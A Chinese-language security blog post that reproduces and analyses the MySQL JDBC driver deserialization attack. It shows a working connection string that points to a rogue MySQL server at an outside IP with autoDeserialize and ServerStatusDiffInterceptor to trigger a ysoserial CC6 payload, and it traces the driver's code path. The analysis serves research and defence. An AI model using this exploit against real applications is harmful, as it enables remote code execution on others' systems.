Java安全-JDBC反序列化
JDBC
JDBC(Java DataBase Connectivity,java数据库连接)是一种用于执行Sql语句的Java Api,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。是Java访问数据库的标准规范。简单理解为链接数据库、对数据库操作都需要通过jdbc来实现。
jdbc:mysql://127.0.0.1:3306/db?user=root&pass=root
漏洞复现
加入依赖
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.12</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
import java.sql.*;
public class JdbcTest {
public static void main(String[] args) throws Exception{
Class.forName("com.mysql.cj.jdbc.Driver");
String user = "yso_CommonsCollections6_calc";
String jdbc_url = "jdbc:mysql://116.62.63.234:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user="+user;
Connection conn = DriverManager.getConnection(jdbc_url);
conn.close();
}
}
使用MySQL_Fake_Server
搭建恶意服务器,需要修改一下config.json
中的yso 的地址。
发起连接后,触发cc6利用链的反序列化。但是计算器弹了4个,也就是触发了有4次反序列化。
漏洞分析
从getConnecttion
入口进去后,使用com.mysql.cj.jdbc.Driver
连接。
然后构建ConnectionUrl对象
使用com.mysql.cj.conf.ConnectionUrlParser
分割URL,
分割出来四种
scheme -> jdbc:mysql:(数据库连接类型)
authority -> host:port
path -> 数据库
query -> 查询语句(带入的参数)
然后
这里调用ConnetionUrl的构造函数,对query字段进行分割
最后生成的ConnectionUrl
对象如下
接下来调用
ConnectionImpl.*getInstance*
方法,ConnectionUrl
对象的hosts
属性 作为参数,创建一个ConnectionImpl
对象,
构造方法里,将hosts
中的的属性分割,然后写入propertySet
属性中,根据url中添加的,覆盖掉PropertyDefinition
中的默认值。
接着会创建this.session
为 NativeSession
对象。
接下来创建一个到服务器的IO通道
里面存在初始化服务器的操作,设置自动自动提交。
connectOneTryOnly()->initializePropsFromServer()->handleAutoCommitDefaults()->setAutoCommit()
这里存在一次SQL语句的执行,
然乎调用 com.mysql.cj.protocol.a.NativeProtocol
对象的sendQueryString
方法来发送
然后又调用sendQueryPacket
方法,如果NativeProtocol
对象的queryInterceptors
查询拦截器属性不为null,就会调用invokeQueryInterceptorsPre
方法,
随后触发该拦截器的preProcess
方法,至于
执行一次 SHOW SESSION STATUS
查询,并将结果返回给ResultSetUtil.*resultSetToMap*
然后只需要这里的autoDeserialize
属性值为true就可以进入反序列化了。
preProcess 结束后,又会触发拦截器的postProcess方法
至此漏洞触发两次。
handleAutoCommitDefaults()
方法结束后
setupServerForTruncationChecks()
方法中又会执行一次execSQL
,
进而漏洞再次触发两次。
填坑
刚刚漏洞触发的流程必不可少的两部分
1.
NativeProtocol
对象的queryInterceptors
属性不为null
,
先前的ConnectionImpl
对象中,初始化了一个NativeSession
对象,后续的与服务器连接中都跟他有关系。然后调用
initializeSafeQueryInterceptors
初始化查询拦截器。
这里需要jdbc连接的属性中queryInterceptors
的值来加载类。所以这里要指定拦截器的类名,我们刚刚所调用的拦截器的方法,其实是在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
类中。
2.
还有ResultSetImpl
对象的中,需要有jdbc连接的autoDeserialize
属性为true
,才会进入反序列化。
所以这也就解释了url中为什么会有这两个参数。
autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
存在任意写的Gadgets下的利用
- 写一个readObject 后门,然后使用在jdbc连接时发送此后门的序列化数据。
- queryInterceptors参数会指定拦截器,写一个恶意拦截器,重写preProcess方法,然后在url指定其全类名。
Ref
https://github.com/fnmsd/MySQL_Fake_Server
https://meizjm3i.github.io/2021/03/07/Servlet%E4%B8%AD%E7%9A%84%E6%97%B6%E9%97%B4%E7%AB%9E%E4%BA%89%E4%BB%A5%E5%8F%8AAsjpectJWeaver%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadget%E6%9E%84%E9%80%A0-AntCTFxD-3CTF-non-RCE%E9%A2%98%E8%A7%A3/